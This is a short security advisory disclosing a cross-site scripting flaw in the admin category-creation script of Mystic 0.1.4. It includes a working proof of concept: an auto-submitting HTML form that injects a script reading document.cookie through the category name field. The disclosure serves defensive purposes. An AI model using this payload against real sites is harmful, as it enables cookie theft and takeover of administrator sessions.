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XSS vulnerability in Mystic

Vulnerability ID: HTB22534Reference:http://www.htbridge.ch/advisory/xss_vulnerability_in_mystic.htmlProduct: MysticVendor: Hulihan Applications (http://hulihanapplications.com/projects/mystic ) Vulnerable Version: 0.1.4 and Probably Prior VersionsVendor Notification: 27 July 2010 Vulnerability Type: XSS (Cross Site Scripting)Status: Not Fixed, Vendor Alerted, Awaiting Vendor ResponseRisk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details:User can execute arbitrary JavaScript code within the vulnerable application.The vulnerability exists due to failure in the admin/create_new_category script to properly sanitize user-supplied input in "category[name]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.An attacker can use browser to exploit this vulnerability. The following PoC is available:<form action="http://host/admin/create_new_category"; method="post"  name="main" ><input type="hidden" name="category[id]" value="999" ><input type="hidden" name="category[name]" value='mynewcat"><script>alert(document.cookie)</script>' /><input type="hidden" name="commit" value="Create New Category!" ></form><script>document.main.submit();</script>

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